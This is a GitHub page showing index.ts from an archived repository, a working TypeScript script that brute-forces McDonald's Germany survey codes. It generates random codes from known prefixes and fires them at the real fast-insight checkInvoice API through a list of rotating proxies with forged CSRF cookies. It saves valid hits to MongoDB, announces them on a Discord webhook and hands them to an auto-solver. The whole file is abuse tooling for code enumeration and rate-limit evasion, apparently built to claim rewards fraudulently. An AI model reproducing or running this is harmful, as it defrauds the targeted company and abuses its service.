This repository has been archived by the owner on Oct 4, 2023. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 0
/
index.ts
111 lines (101 loc) · 3.44 KB
/
index.ts
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
import HttpsProxyAgent from 'https-proxy-agent';
import fs from 'fs';
import { MongoManager } from './mongo';
import { solveCode } from "./autosolver";
const mongo = new MongoManager('mongodb://mongo:27017');
const url = 'https://mcdonalds.fast-insight.com/voc/bs/api/v3/de/checkInvoice'
mongo.connect()
let codeprefixes: string[];
function generateCode() {
const codeprefix = codeprefixes[ Math.floor(Math.random() * codeprefixes.length) ];
const code = codeprefix + makeid((12 - codeprefix.length));
return `${code.substring(0, 4)}-${code.substring(4, 8)}-${code.substring(8, 12)}`
}
function runCheck(agent: any) {
const code = generateCode();
const csrf = _uuid();
const starttime = Date.now();
fetch(url, {
method: 'POST',
// @ts-ignore
agent,
headers: {
'Content-Type': 'application/json',
'cookie': 'csrf=' + csrf
},
body: generateJson(code, csrf)
}).then(res => {
res.json().then(async json => {
console.log(code, json, Date.now() - starttime + 'ms');
if (json.status === 200) {
if (await mongo.checkSurveyCode(code)) {
await mongo.insertSurveyCode(code)
const params = {
content: "Code found: " + code
}
fetch("https://discord.com/api/webhooks/", {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify(params)
})
solveCode(mongo, code, json);
} else {
console.log("duplicate detected " + code)
}
}
runCheck(agent)
}, () => {
setTimeout(() => {
runCheck(agent)
}, 15000)
})
}, () => {
runCheck(agent);
});
}
getProxies()
async function getProxies() {
setInterval(async () => {
if ((await mongo.getUnusedCodes()).length > 100) {
console.log("too many unused codes");
process.exit(0);
}
codeprefixes = (await mongo.getTemplates()).map(t => t.code);
}, 10000);
if ((await mongo.getUnusedCodes()).length < 100) {
codeprefixes = (await mongo.getTemplates()).map(t => t.code);
const proxies = fs.readFileSync('proxies.txt').toString().split('\n');
console.log(`loaded ${proxies.length} proxies`)
proxies.forEach(async (proxy: any) => {
const agent = HttpsProxyAgent('http://' + proxy);
runCheck(agent);
});
}
}
function makeid(length: number) {
var result = '';
var characters = 'abcdefghijklmnopqrstuvwxyz0123456789';
var charactersLength = characters.length;
for (var i = 0; i < length; i++) {
result += characters.charAt(Math.floor(Math.random() *
charactersLength));
}
return result;
}
function generateJson(code: string, csrf: string) {
return JSON.stringify({
"invoice": code,
"csrf": csrf,
"storage_csrf": csrf
})
}
function _uuid() {
var d = Date.now();
return 'xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx'.replace(/[xy]/g, function (c) {
var r = (d + Math.random() * 16) % 16 | 0;
d = Math.floor(d / 16);
return (c === 'x' ? r : r & 0x3 | 0x8).toString(16);
});
};